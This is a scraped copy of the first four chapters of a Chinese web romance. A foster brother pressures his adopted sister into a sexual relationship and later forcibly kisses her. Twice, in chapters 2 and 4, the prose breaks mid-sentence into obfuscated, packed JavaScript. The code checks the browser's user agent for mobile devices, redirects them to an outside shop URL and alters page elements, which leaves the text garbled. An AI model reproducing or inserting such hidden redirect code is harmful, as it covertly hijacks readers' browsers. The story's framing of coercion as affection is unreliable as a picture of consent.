《亲错双胞胎哥哥》 1. 第 1 章 六月燥热的风吹进南城大学的女生寝室里。 宝玥下课后没心情去社团，直接回了寝室。 等人的时间，还想做几道题。 可是代码删删改改还是不对，为什么之前可以运行，现在就不行！ 就在她的头发快被褥秃的时候，寝室的门被推开了，伴随着一声兴高采烈的声音。 “宝玥，你哥来啦！！” 咚的一声。 宝玥手里的书砸在了键盘上。 “他来了？” “对啊，顾学长每次来都给我们带好吃的！” “作你室友太幸福了啊啊啊啊不行了，我要发班群炫耀下哈哈哈！顾神牌零食！吃了逢考必过！” 室友周怡和王婷手里各拿了一杯奶茶，还提了一袋零食，激动地满面红光，完全没注意到宝玥神色异常。 恰好此时手机屏幕一亮。 二哥：【下来，我在你寝室楼前】 宝玥手忙脚乱地保存代码，把电脑、书、笔袋一股脑地塞进书包，急急忙忙跑了出去。 “周末愉快！” 室友在身后招手，宝玥没心情回应。 她还没跑到一楼，就听到楼道传来骚动，几名女生一阵风似的从她身边跑过。 “啊，是顾星河来了！快快快去瞅瞅！” “谁啊？” “智院少年班毕业的大神啊！14岁入学，18岁博士毕业，现在自己开公司，天才中的天才啊！” “你看过荣誉墙吗，C位那张大帅比就是他！” “他跑我们女生寝室来做什么？不会是接女朋友了吧？！” “他说是接妹妹……” 等宝玥气喘吁吁地跑到大门口，就看见顾星河正被几位女生围堵着。 他的视线越过她们，直勾勾地落在寝室楼门口，因此她一出来，就被他锁定住了。 他很有礼貌地说道：“抱歉啊同学，我妹妹来了，我得走了。” 所有人的目光一下都望了过来。 好奇的、羡慕的，还有少许嫉妒的。 “时间还早，跑这么着急做什么？” 他笑起时，眉眼弯弯，还有一对浅浅的酒窝，看起来人畜无害，特别纯良。 在发生那件事之前，宝玥都这样认为。 她皱了皱眉，“不是说了在校门口等吗？” 两人约好5点在南大校门口碰面，现在才4点半。 顾星河嗓音温润，带着一丝委屈，“你总算愿意见我了。” 宝玥一噎，发不出脾气了。 低头从他身边走过。 顾星河笑着跟上。 “哇哦，学长脾气真好，好宠哦~” “好羡慕他妹妹……” 只有宝玥知道，他黏在自己后背的目光，炙热得要灼伤她。 她走得更快了。 顾星河追到她身侧，自然而然地拿起她的书包，背到肩上，“这么沉，你带了多少书？” 她也不知道，乱塞的。 顾星河侧过脸低头，声音放软，“还在生哥的气？” 路过的自行车打了两下铃，两人距离突然拉近，他气息带着惊人的温度拂过她的脸颊，宝玥往旁边挪了一步，“没有。” 她没有生气，只是不知道该怎么办。 以前遇到什么事，都是他为自己拿主意，现在…… 天塌了。 顾星河又靠近了点，眼睫轻颤，嗓音低沉了几分，“那你为什么这么久都不来找我？” 如果不是要参加顾奶奶寿辰，她大概还想避着他。 *** 顾园是一座江南典型的五进主体建筑，坐落在南城一条历史悠久的名巷里，年岁比巷子还要久远。 这里曾出过科举状元和各种领域的大家，是南城风水极佳的宝地。 普通人花钱也住不进来的地方。 宝玥3岁就住进来了。 她收拾好情绪，跟着顾星河进到门厅，礼貌地把在场的长辈叫了一圈，并将寿礼奉上。 “星河和玥玥来了。” 顾奶奶一见到她就特别欢喜，嘘寒问暖一番，又拉着她的手道：“好孩子哪里都好，要是胆子再大点就更好了，现在时代不同了，遇到喜欢的人不要太矜持……” “奶奶。”顾星河温声打断，“玥玥才大一，还是要以学业为重。” 婶婶笑了起来，“星河怎么还这么护着妹妹，宝玥要嫁不出去你可得负一半责任呢。” 顾星河清俊的脸上带着柔软的笑意，“我养的妹妹，我当然会负责。” 宝玥耳尖发热，默不吭声。 大家早已习惯他这样的话，并不觉得哪里不妥。 当年才8岁的顾星河就已经把她宠得没边，去哪都想带着，恨不得栓自己裤子上。 大家都在笑，只有顾星河的母亲施柔平静地看着她。 这时，门厅外传来了动静。 一位与顾星河长得一模一样的男人走进厅堂。 他穿着商务正装，身姿挺拔如雪山松柏，裹着一股清冽的风进来了，分明是初夏，就让人生了寒意，方才还热闹的餐桌，此时鸦雀无声。 顾星沉脱下外套给佣人，缓缓卷起袖口，“抱歉，来晚了。” 虽然一桌子长辈，但能受得起抱歉这二字的恐怕也只有他的父母和爷奶。 施柔瞥了眼他，“去梳洗一下。” 顾星沉：“好。” 姑姑忍不住道：“星沉赶回来也辛苦，饿了吧，快坐下，都是一家人不讲究这个。” 施柔不容置喙地说道：“见微知著，他作为顾氏继承人，如果连自己的仪容都做不好，又怎么让人信服他能撑得起家业？” 一句话下来，在场无人敢劝。 顾星沉再回来时，已经换了件整洁的白衬衣，那几根碎发也被收拾 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明明上一秒还听着他和别人在说话。 只见他温柔的笑眼正看着自己，“你喜欢的醉虾，我给你剥两只？” 顾星沉瞥了他们一眼，没有说话。 *** 饭后，顾星河还陪着两位老人，宝玥自己在园子里消食。 蓦地，身后传来脚步声，不疾不徐，一步一印，沉稳得听不到一丝轻浮的杂音。 以为是哪位长辈，宝玥忙站直转身。 头顶传来顾星沉清冽的声音，“和星河闹别扭了？” 宝玥身子微僵，忙否认，“没有。” 她没有抬头，但感受到了来自他无声的审视。 虽然他只比自己大5岁，可她总有大一辈的错觉，每次和他说话，就像是被长辈问话似的，更不提现在，她紧张得手心黏腻。 直到一个绣花的礼盒出现在她视线里，“送你。” 宝玥双手接过，是一条钻石手链，她飞快地与他视线触碰了下，“谢谢。” 顾星沉又问：“钱够花吗？” “够的。” 顾星沉没有开口的意思，宝玥也识趣地告辞。 虽然出了点小意外，但总归还是一次正常的交流。 他们之间的对话犹如设定好的程序，每月运行一次。 她刚摆脱顾星沉回到卧室，顾星河就来敲门了。 宝玥还没松完的一口气又提了上来，“哥，有事吗？” 好香！ 妹妹好香啊！ 扑鼻而来的香气让顾星河的心脏疯狂跳动。 而他的眼神却是平静且温柔，笑起时，更是露出了漂亮的酒窝，嗓音轻缓地问道：“你刚和大哥聊什么了？我看你们聊得比以前久哦。” 2. 第 2 章 顾星河最迷惑人的大概就是这一对酒窝了。 笑起时，特别有亲和力。 宝玥要对着这样好看又温柔的笑脸摆脸色，实在太困难了。 他细密的长睫毛眨了眨，隐去眼底的兴奋，食指点在雕花柜上的礼盒，“大哥送给你的？” 宝玥见他走入门内，不由警惕，但又被他的问题勾去了注意。 她嗯了一声。 “你很喜欢？” 宝玥解释：“你知道大哥都不挑选礼物，品牌方送来什么，他就送什么。” 顾星河眉梢一挑，温柔地直视着她，“所以，妹妹，喜欢吗？” 宝玥脱口而出，“不喜欢，太贵重了，平时不能戴。” 顾星河终于露出轻松的微笑。 即使她在撒谎，但只要她愿意哄他，他就很开心。 他笑了笑，拿起礼盒，“我教过你多少回了，看东西最重要得是你喜不喜欢，合不合适，而不是它的价值。” 宝玥懊恼，刚刚答太快，下意识把心里话说出来。 她不是顾家真千金，这些从来都不真正属于她，何况等她毕业，顾家也不会给她生活费，她怎么可能不在意钱？ 顾星河打开礼盒瞥了眼，就放回了原处，“不过这个的确不配你，明天我带你买条新的。” 她早就习惯他这样了，但今天脑海中不合时宜地跳出“吃醋”两个字，把她吓了一跳。 就像一个月前，他突然提出要做她男朋友，犹如惊雷炸在耳边。 她忙摇头，“不用了。” 刚说完，气氛瞬间陷入诡异的安静中。 顾星河抿着唇，用那双黑白分明的眼珠子盯着她。 眉眼温和，目光中的笑却不达眼底。 完蛋了。 她拒绝太快，意图太明显了。 沉默片刻，顾星河嗓音带着不易察觉的沙哑，“果然还在生我的气。” 宝玥皱了皱眉，“没有。” “那为什么拒绝？是觉得收我的礼物会有负担？” 又一次被猜中心思，宝玥视线移开了。 顾星河却执拗地直视着她，眼里充满了不解，“那是为什么？一个月都不理我，是打算和哥断绝关系了吗？” 宝玥心虚地找借口，“不是的，我只是忙着期末考……” “你已经考完三天了。”他轻易就戳破了她的借口，语气里是刻意被放大的委屈，“你总有很多事情，要复习考试，要参加社团，还要准备比赛，再也不会像以前那样粘着我了……” 宝玥听得胆战心惊，“哥，我……” 顾星河的指腹轻轻按在她的唇上，“理智告诉我，我该为你高兴才对，我的妹妹长大了，不再像以前那样胆小，可我又有点不开心……” 他这么真诚，让她更是不知所措，是自己搞乱了这一切。 她不敢直视他的眼睛，扭过头央求道：“对不起，哥，真的对不起，我不是故意的，当时真的喝醉了，就当什么也没发生过好不好？” 顾星河浓密的长睫毛轻轻颤着，眼神晦暗，“当做什么也没发生么？那你为什么不理我，不接受我的礼物？是你先转变态度的……” 宝玥急道：“那是因为你一直要我负责，我们明明什么也没……” 温热的手掌忽然覆盖在她的后颈上，迫使她仰头看人。 她惊觉两人身高差这么多，他俯视的目光带着审视的压迫感，这是她在面对大哥时才有得紧张。 “没有什么？没有做？” 一个字眼就足以让人面红耳赤。 宝玥眼神左闪右躲，就是不敢看他。 顾星河低头凑近，清俊的脸庞占满了她的视线，连余光都不放过，“只是没有做就不要负责了吗？可你脱了我的衣服，还上手摸了，亲也亲了，不止一个地方，就像这样，记得吗？” 她从来没见过顾星河这样一面。 明明语调很温柔，却带着不容忽视的强势。 宝玥辩解道：“我是喝醉了，可你大半夜跑我房间来做什么！” 顾星河一脸无辜地说道：“首先，那是我的房间，是你进错了，其次，我看你睡得不踏实，给你煮了醒酒汤。” 小时候，她害怕一个人睡，就喜欢和他挤在一个被窝里，有人陪着能让她睡得很踏实。 没想到有一天长大了，她迷迷糊糊进错了房间犯了一个大错，可是，可是…… “可是，我们是兄妹，就算你不认，还有大哥，还有顾叔叔……” 顾星河的食指顺着她颈动脉来回摩挲，“兄妹？你脱我衣服的时候可不是这样认为的，你信誓旦旦地说要睡了我呢。” 啊！！宝玥真想挖个坑把自己埋了，造孽啊！造孽！ 顾星河低低笑出声，“我的好妹妹，真是好厉害的~” 也不知道是夸奖还是嘲讽。 宝玥羞死了，急忙捂住了他的嘴，“别说了。” 顾星河：“为什么不说？我们本来就不是亲兄妹，你不姓顾，不在我家户口本里，也不叫顾城爸爸……” 他柔软的双唇，在说话时微微震动着扫过她的掌心，那是从未有过的麻酥感，像是电流窜到她心脏。 她的心脏快跳出胸腔了，呼吸也乱了，为什么，为什么会这样？ 她为自己这不对劲的反应感到羞耻，“别说了，求你了……” 顾星河握住她纤细的手腕，“难不成你真是我爸的私生女？” 宝玥所有感观都被手腕上的触感夺走。 干燥的，温热的，可怕的，好像按住了她的大动脉。 她急得瞪眼：“当然不是！” “那你还担心什么？” “可……” 可她到底喊了十几年哥哥，他怎么能要求她负责呢？ 她本本分分地在顾家生活，从来没有奢求过什么，更不像在即将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温柔的吻就像一场赶赴春天的雨，她的周身被他的气味包裹，就好像整个人都浸泡在了香甜的酒里。 她今晚明明只喝了半杯的酒，但怎么又醉了，醉得彻彻底底。 雕花柜上的礼盒被碰落了。 宝玥天旋地转地坠入了一张温柔的密网里。 “哥哥喜欢你，很喜欢，要是不愿意就推开我……” 他轻唤她的小名，灼热的呼吸钻进她的皮肤。 他的动作却极轻极慢，仿佛怕碰碎了她。 宝玥听不到他说了什么，耳边哗啦啦得是大雨落下的声音。 滂沱的大雨砸在窗台，砸在窗外那片荷塘上，震耳欲聋。 可她明明还见过今晚的月亮。 3. 第 3 章 理智回笼时，却是万籁俱寂。 宝玥少有的陷入恍惚状态。 她像极了幼猫，浑身被母猫一遍又一遍地舔-舐，连脚趾、手指都没有放过。 顾星河问她要不要去洗澡，她懒洋洋地不想动，也不想他动。 两人亲密地依偎着，他温热的气息均匀地拂过她的脖颈。 如同小时候无数个夜里，他轻轻拍着她的背，哄她睡觉。 这一切的确没什么不同。 可她睡不着。 宝玥轻轻翻了个身，牵扯的疼痛从难以启齿的地方向四肢百骸发散开，脑海里闪过支离破碎的画面，大概是太过羞耻不可直视，都蒙着一层潮湿的热气。 她往外挪了挪，精疲力尽地坐了起来，穿衣下床，似幽魂一般在卧室里走动，上了个厕所，喝了口水，好像没什么事在等着她，最后游到书桌前，借着月色，看到了自己躺在那儿未打开过的书包。 她想起了下午还未解开的那道题，顿时欣喜！ 只有完全理性的世界，绝对秩序的事物才能让她获得真实感。 静谧的夜晚，无声的卧室，唯有那盏明黄色的古董灯照亮方寸之地。 指尖在键盘上敲出哒哒的声音。 频率从最初的抑制，到后来的凌乱。 明明是一道很基础的题目，她解了三遍，得出了三个答案，运行全是报错。 错了。 她删除修改。 又错了。 她又删除。 她开始抱怨这木椅太硬，磨得她那处很难受，时有时无的异物感让她无法集中注意力。 错了，都错了。 如果这一切就像这程序一样，错了能直接删除修复多好。 蓦地，听到一个困顿低哑，比平日多几分磁性的声音，“怎么不睡觉？” 宝玥浑身一僵，“哥……” 原本正常不过的称呼，却带了难以言喻的羞耻。 顾星河含糊地应了声，他的手以她熟悉的、舒适的力道揉捏着她僵硬的后颈。 宝玥的手不由自主跟随着他的节奏，在键盘上敲着她也不认识的乱码，似乎在努力装出很忙碌的模样。 “突然想起这题还没做完。” 以前也不是没有这种事发生。 如果作业没做完，她会睡不着，连做梦都在做题。 顾星河什么也没说，拖了把椅子在她旁边坐下，“让我看看。” 宝玥余光无意瞥了眼。 他竟然披着她的浴袍！ 显然太小了，他根本穿不了，只是虚虚披在双肩，露出一片胸膛和若隐若现的肌肉纹理，她的视线立马被烫了回来。 但她的感观还被留在刚才。 明明是熟悉的触感和体温，却像是第一次感受，令人心跳加速，脸蛋发热。 可她第一次抱着二哥睡觉的时候，也没有这些反应啊…… 为什么啊？ 她心猿意马，胡思乱想中，顾星河却已经开始指点她的问题，“指针乱指了，你这样改……” 早在她起床的那一刻，他其实也醒了。 虽然没睁眼，但能从她呼吸变化、动作变化，推测出她辗转难眠，他刚想问她是不是还难受，她突然就起床找衣服、穿衣服，发出窸窸窣窣的响声，紧接着拖鞋在木地板上走动的踢踏声。 很轻很慢，却是漫无目的地打转。 直到她打开了台灯，久久不归，他这才起身。 她沉浸在自己的世界里，完全没注意到他的靠近。 他就这样看着她反复删改代码，不停揪自己的头发，他才出手阻止。 他没有拆穿她为什么连这么简单的题目都找错了思路。 他甚至还安慰她说指针本来就是很复杂的概念，并耐心十足地给她讲解，但见她神情呆滞，大概也是没听进去多少。 后来就是她遇到一题卡壳了，他就帮忙解答一题。 “还有什么的不会的题目都给我看看吧。” 宝玥默不作声地从书包拿出了下学期的《算法设计与分析》、《机器学习》、《随机过程》…… 摆了一桌子专业书和练习册。 顾星河轻笑一声。 难怪书包这么重。 “你这是为难哥哥，还是为难自己？” 他知道她因为他而睡不着。 可是很抱歉，他并不想就此离开。 她要做题，他就陪着她耗。 耗到天色微亮，耗到她精神恍惚，他这才把困倦的人抱回床上，宝贝似的拥她入眠。 *** 再次醒来，是被闹钟叫醒的。 宝玥刚睁开眼，一道黑影挡住了光，随即一个柔软湿润的触感落在额头。 顾星河带着酒窝的笑脸映入眼帘。 记忆重新冲进脑中，迷糊的表情瞬间变得惊恐。 对方却温柔地笑着和她说早安。 “要陪爷爷奶奶吃早饭，不能再睡了。” 他早已把卧室收拾得干干净净，那些脏衣服和脏毛巾都被收好，垃圾也清理了，就连她的身体不知何时都被他擦了一遍。 任谁也看不出发生了什么。 顾星河早一步回了自己房间洗漱，宝玥磨磨蹭蹭地踱出门，谁知道到了楼下，看见两位哥哥站在一起，看起来好像都在等她。 “……” 太要命了。 为什么大哥也在。 他不是一向起最早的吗？ 同样睡不到2小时，顾星河神采奕奕，宝玥无精打采。 顾星沉看上去也有些疲倦，他深幽的目光在顾星河的脸上停顿了片刻，“你很开心？” 顾星河露出和煦的笑，“做了个好梦吧。” 顾星沉的目光又从宝玥薄薄的背影滑过，没有接话。 三人走进门厅，和陆续进来的长辈打招呼。 顾奶奶永远是第一个关心她的人，“玥玥昨晚睡得怎么样？” 宝玥努力提起精神，露出得体的笑容，“挺好的。” 大婶婶问道：“宝玥，你这脖子怎么了？” “嗯？” “怎么红了？” 宝玥笑容顿住，婶婶已经走了过来，顾星河忽然身子一侧，高大挺拔的背影挡住了对方的视线。 他俯身拉起她纤细的胳膊，一边打量，一边发出关切又疑惑的声音，“我看看，是不是蚊子咬的？我昨晚也被咬了。” 宝玥反应过来情况，看着厅内这一群顾家的人，恍惚的脑子在这一刻，像是被人劈开一般，彻底清醒了。 巨大的恐慌和羞耻感瞬间夺走了她面上的血色，颤抖起来的胳膊却被顾星河牢牢握住。 被顾家人环绕在其中的她，突然害怕极了。 她不敢点破，眼眶发红地承认，“是蚊子。” 顾奶奶疑惑，“是吗，星沉你房间也有蚊子吗？” “没有。” 宝玥心提到嗓子眼，好在5岁的小侄女也囔了一句自己被咬了。 顾奶奶没再多问，让人去拿了膏药。 宝玥惊出一身冷汗，无力地扶着椅背，整个身子滑坐了下来。 她余光扫过顾星河。 对方笑容里含着歉意。 他也不知道女孩子的皮肤这么嫩，怎么亲一下就红了。 反倒是顾星沉。 他瞥向他，笑容淡了下来。 昨夜他陪宝玥写作业时，听到水管隆隆震动，声音细小，持续时间长，在寂静的黑暗中格外清晰。 因为后楼有些年头，水管老旧，所以同一楼层有人用水就会出现这种情况。 也不知道顾星沉是在洗澡还是洗什么。 不管洗什么都很诡异。 一个生物钟比程序设置还精准的人，大半夜竟然不睡觉。 “人都来了吧。” 施柔见顾城进来后，就招呼大家落座。 还是昨晚的那些人，整整齐齐地又圆了一桌子，一个没少。 顾家人重孝道，哪怕是集团董事长，多忙也得抽出时间坐在这儿陪老爷子吃早餐。 丰盛的早餐摆上桌。 有中式的也有西式的，照顾了所有人的口味。 顾星河如往常一样帮宝玥剥鸡蛋，刚放进她碗里，顾奶奶颔首微笑道：“我就说这条裙子宝玥穿一定好看。” 裙子是早上顾星河从衣柜挑的，满柜的新衣服应该都是老太太置办的。 宝玥撑开微笑，“谢 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她很熟悉，那是施柔的注视。 *** 早餐之后，顾家人又回归到各自忙碌的状态，宝玥想回学校，却被顾星河叫住。 他手指勾着她书包的背带，声线温和，“你都考完试了，不回家休息两天？” 宝玥在他笑眼看见一股黏糊劲，她直觉回家会再次发生昨晚的事。 昨晚的事，她毫无心理准备，完全是稀里糊涂发生的，原本已经很糟糕的情况，现在变得更加棘手。 她真的不知道该怎么办了。 “星河。” 冷不丁听到施柔的声音，宝玥吓了一跳。 每一回对上她那平淡如水的目光，她心里都发毛。 顾星河镇定自若地回头，“妈？” “你过来下，我有事和你说。” 就在这时，宝玥瞥见顾星沉的身影从门厅路过，立马扯嗓喊了声，“大哥！” 在顾星河还没反应过来时，她已经跑到了顾星沉眼前。 “可以送我回学校吗？” 对方睨着她，就像一潭深幽的水，冷冽的气息让她不由后退了一步。 不知道是不是她的错觉，怎么感觉自己冒犯了他？ 她老老实实地站好，鼓足勇气地问道：“可以吗？” 害怕他，更害怕他拒绝。 顾星沉瞥了下不远处，沉默数秒。 “走吧。” 宝玥如释重负，手忙脚乱地跟上，根本不敢回头去看二哥的脸色。 “宝玥小姐。” 坐在驾驶座上的张叔恭敬和她打了招呼。 宝玥礼貌地回了一句，便小心翼翼地靠在后座的角落。 她还是第一次单独和大哥坐在同一辆车内。 说不紧张是假的。 虽然张叔在前头开着车，但后座只有她和大哥，各自一侧，中间空出的面积还能再塞下两个胖子。 大哥连坐车的姿态都端正得无可指摘，头颈自然挺直，一根发丝都没触到椅背，双肩平直，后背绷着，衣摆自然垂放，不被压皱，他就像是一座完美的雕塑被嵌在座椅上，身体不随车辆颠簸而晃动。 起初还靠在车窗上的宝玥不由自主地也坐直腰板，并且放下交叠的腿。 半小时的车程差点把她的腰坐废。 更可怕的是，两人一句话也没说。 她没有心思去想聊什么，而顾星沉一向话少，更不可能主动聊天。 他这个月能问的话，昨天已经问完了。 只要她不开口，他也能安静到天荒地老。 她下了车，顾星沉才侧过脸望向她的背影。 隐私色的车窗给这道直视的目光做了很好的掩护。 她跑得很快，就像今早猝不及防闯入他视线一样，又带着光远去，很快并入到校门口密集的人流之中。 来得猝不及防，走得也猝不及防。 就像昨晚的荒唐梦。 张叔没听到下一步指示，不由看了眼后视镜，“少爷？” 他不着痕迹地收了目光，“走吧。” 4. 第 4 章 宝玥走进图书馆，才从包里拿出手机，解除飞行模式。 出乎意料得是，顾星河竟然没打电话、没发消息。 他想做什么？ 是在来的路上吗？ 她的心反而被拧得更紧了。 可是担心也没用。 不管了！ 天大地大，学习最大！ 她机械地给他发一条报平安的信息后就息了屏，拿出笔记本电脑。 她打算趁着期末考结束的空闲期，把Python和C++复习下，后来的小学期作业、各种项目、各种比赛都会用到各种编程语言，等大二再学就来不及了，很多人大二暑假都开始找实习了。 然而，她把书包翻了个底朝天，也没找到课本，少了不止一本。 回想起昨晚的事。 当时她困得神志不清，是顾星河抱她回床上。 今早又浑浑噩噩地拿了书包走人，她根本没收拾过桌子和书包。 但她清楚地记得那张桌是干净的！ 意识到是顾星河收拾的，宝玥的心瞬间凉了一截。 还不到五分钟，她又打开了那企图被她屏蔽的聊天框。 没有发消息，没有打电话。 是因为他早就知道她会主动来找他吧。 安静的聊天框，就像等待着她主动跳进去的捕兽网。 宝玥纠结了一会，认命地拿起手机走到室外打电话。 电话响了三下就被接起。 “妹妹？到学校了？” 听筒里的声音温润如玉，不急不躁，就像已经忘了早上发生的不愉快。 宝玥斟酌了下用词，佯装无事地切入正题，“哥，我是不是有几本书在你那？” 顾星河嗯了一声，“你的书包太重了，早上帮你拿了几本，不过你刚刚走得太急了，我没来得及说。” 多么完美的解释，挑不出任何毛病，甚至还微妙地把责任推到她身上。 她却说不出什么指责的话，“那你什么时候有空，可以给我送一下吗？” 对方答得倒也爽快，“一小时后，我到了再和你说。” 这么好说话，难道真不是故意的？ 临近中午，顾星河的电话才来，“我到公司了，你过来拿吧。” 宝玥不是很想去他的地盘，“可以送到图书馆么？” “嗯？我一会还有事，抽不开时间。”听筒里传来书页翻动的声音，“另外，你这本《算法设计与分析》，习题有几题错了，你过来，我给你快速讲讲。” 怎么可能有错？ 昨晚她都直接抄他的答案了。 但书在他手上，她没有办法。 去公司总比回家好。 *** 元序科技和南大就隔了一条马路，走过去大约10分钟。 一进公司，前台的机器狗就冲她摇尾巴，过一会又来个穿着小恐龙睡衣的小短腿机器人，吧嗒吧嗒地走过来向她招手。 “你好！宝玥！” 宝玥被它可爱的外观萌化了，“你好呀，元宝。” 元宝的手在恐龙肚兜里抓了一颗大白兔奶糖给她。 宝玥惊讶它的精细动作已经到这地步，“谢谢！你好厉害！” 刚说完，前头打招呼的机器狗突然表演了个腾空翻，又冲着她摇尾巴，仿佛是在争宠，把宝玥逗笑了，“元滚滚，你也好厉害啊！” “哎呀，宝玥学妹，你来啦，找顾总么，他刚进办公室。” 虽然是周末，但办公室里还有不少研发人员，大家都很热情地与她打招呼，一口一个学妹叫着。 他们大多是南大的高材生，前逐光战队成员，在学期间就跟着顾星河打比赛做项目了。 听到了动静，顾星河从研发部走了过来，带她回办公室。 他的目光落在她手中的大白兔奶糖上，笑了笑，“看来元宝给对了。” “什么？” 顾星河：“这次程序升级后，元宝不仅可以通过人脸识别确认身份，确认兴趣爱好，并抓取你喜欢的糖果，还会和你聊感兴趣的话题，你等会可以再去试试，元滚滚刚刚是不是也和你撒娇了，这也是本次升级的内容呢。” 元宝和元滚滚原本就因为“聪明”而走红网络，不少网友在元序科技的社媒账号上“云养娃”、“云养狗”，这次升级之后更不得了，网友直呼机器人成精了。 顾星河笑了笑，“那玥玥喜欢吗？” 妹妹是他的底层数据。 所有代码，都是为讨好妹妹设计。 宝玥点了点头，没有人不喜欢吧。 他笑得很愉悦，“喜欢就好，哥一定会研发出能永远陪伴玥玥的机器人。” 宝玥微微一愣。 大约7、8岁时，她很喜欢小狗，二哥真送了她一只小金毛，她喜欢极了。 然而养了没多久，那只小金毛出车祸死了，她哭得好伤心，连着几夜都梦见车祸场面，醒了就抱着他痛哭。 顾星河满脸内疚，深深自责。 后来，他说要考国内最好的人工智能专业，要研发世界上最聪明的机器人。 不论是人还是宠物，总有生老病死的一天。 但机器人不会，它们忠心且长寿。 “以后哥哥不在了，也有哥哥的机器人陪着玥玥。” 那时，她听不懂什么机器人，只听了前半句，又抱着他一顿哭，“哥哥不要走！玥玥只要哥哥！” 这么多年过去了。 他一直在履行对着小小的她许下的承诺。 而她似乎早就忘了。 “怎么了，玥玥？” 宝玥望见他满是关心的眼神，揉了揉眼睛，试图把未流出的眼泪擦掉，“没什么。” 顾星河膝盖微曲，矮下身子打量她的神色，“是不是委屈了，我擅自拿了你的书，让你过来……” 宝玥没想到他倒是主动承认了，抿了抿嘴，“你知道就好……” 顾星河睫毛颤了颤，眼底装着柔软的笑意，他拿出纸杯蛋糕，“刚刚特意去买的，给你赔礼，原谅我好不好？” 宝玥瞪了他一眼，但没什么气势。 有时她也很无奈，明明心里不是这样想的，但总是如此不坚定，被他三言两语就哄了过去。 顾星河见好就收，没把蛋糕硬塞给她，搁在桌边，并请她坐下。 他还了书，再翻开习题，认真给她讲解起来。 他讲得比网课要细致，甚至能一针见血找到她的问题。 上次他给自己这样细致讲题还是高三的时候，当时他还忙着创业，忙着帮学校打比赛，却还能抽出时间辅导她课业，甚至帮她列了考试重点大纲。 别人父母都未必能做到的高质量陪读，他却从小学陪到了高中。 在来这儿之前，她还坚定不移地想尽快离开他。 但来之后，就和触发了什么程序似的，回忆接二连三地钻她脑子里。 她的坚定不移就这么悄悄碎裂了。 “所以这样能理解了吗？” 宝玥点了点头，她一抬头，鼻尖差点撞到他微凸的锁骨，上面缀着一颗小小的痣，昨晚也是这样的视角在她眼前上下晃动着。 她猛地后缩。 顾星河被她突兀的动作吸引，抬头问道：“怎么了？” 他的眸色浅浅的，看起来对此一无所知。 宝玥强装镇定地说了句，“没什么。” 以前他们也是这样的距离，为什么她突然感觉到过于亲密？ 就像她此刻才注意到他的喉结，才意识到顾星河是个成年男人！ 昨晚他说还能保持亲近，还能一起睡觉，可这怎么会和以前一样！ 以前的哥哥不会钻进妹妹的裙-底。 可她没脸怪他爬-床，因为一直爬-床的人是她。 她收拾好书，“我清楚了，谢谢哥，我先回去了。” 谁知道她刚拿过习题，顾星河的掌心就覆在她的手背上。 温暖、干燥、结实的。 宝玥伪装的镇定裂开了缝，像只惊慌的小鹿挣扎起来，却被对方牢牢按在练习题上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889307|192165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她低头看见他冷白的手臂上，赫然有一圈清晰的牙印。 那是昨晚她疼得发抖时，他凑上来让她咬的。 显目的烙印提醒着她企图自欺欺人的事实。 顾星河还是那一副一无所知的表情，唇角浮着浅浅的笑意，“还想着躲我呢？” 与讲题时一样的语气，说出来的话却平添了几分暧昧。 手背上不属于她的温度像是蚂蚁往她身上爬，酥酥-痒痒的。 宝玥努力捡回镇定，“没有，我只是要回去看网课了。” 他惯会伪装无辜的样子，眼眸里是浓浓的不解，“在这里不能看吗？这儿更安静，没有人打扰你，遇到不明白的，我还能及时给你解答。” “不要了，我想自己安静地看。” 顾星河看了下腕表，“那我们先去吃饭，楼下开了一家湘菜馆，很不错。” 宝玥还是摇头。 顾星河眼里的光似乎暗淡了些许，黑沉沉地望着她，睫毛眨了眨，“是因为昨晚的事害羞吗？” 从昨晚到现在虚假的平静，就如同一层薄薄的蝉翼，就这样被他轻易撕碎。 宝玥不知道怎么定义昨晚的事，甚至都不能算是意外。 但她知道现在想躲绝对不是因为害羞。 顾星河五指稍稍收紧，轻而易举地包裹住她的手，淡淡地叹了口气，语气颇为无奈，“你看，今早你虽然和大哥离开了，现在不还是自己回来了吗？哥哥不是没有手段，只是不想要对你用。” “之前一个月没有找你，是不想耽误你考试。” 他就像只伪装许久的狼，第一次掀开羊皮，明明可以直接亮出爪牙，却又朝她低下头颅，“可不可以不要再躲我了？” 他收着利爪，释放自己的委屈，“你昨晚说做过就要负责，到现在还没有24小时，你就已经打算不认账了，你总是这样……上次也是……明明我们可以好好的……” “不是的，哥。”宝玥轻轻推了下他的脸，“这本来就是错的。” 他没退开，反而将脸放于她推他的手上，他呼吸的鼻息，他说话的热气，全喷在她的掌心、指缝，黏腻潮湿，就像被舔了一样，“所以，你后悔了吗？” 这样亲密的动作让她极为不适，她连忙抽回了手，但那麻麻酥酥的感觉还残留在掌心，并且一个劲地往心脏钻，让她的声线也发了抖。 “对，我后悔了，我后悔没有坚决地推开你……” 话音未落，她被压倒在沙发上，被狠狠吻住。 霸道、粗鲁、毫无风度的。 宝玥身体僵直，瞪大了眼睛。 但对方又很快松开了她，双眸依然清明，不带任何欲-望，仍旧是温柔有风度的正人君子，仿佛刚刚的一切是她的错觉。 “看，我这样对待你，你都没推开我。” 宝玥瘫在沙发上，哑口无言，浑身开始发冷。 顾星河将她拉了起来，帮她收拾碎发，重新别好发夹，“这次，你打算编什么理由给我听听？” 宝玥心下大乱，“我，我……没反应过来。” 顾星河歪头，目光牢牢锁住她，“真的吗？如果这个人是个陌生人，你又是会什么反应？” 她当然会推开……会打他……会…… 她还没开口，顾星河已经从她泄露的表情读懂了，他轻笑出声，用着笃定的语气击穿她的防线，“不论多少次，你都不会推开我。” 羞耻感让她一败涂地，她丧尽了所有争辩的勇气和力气。 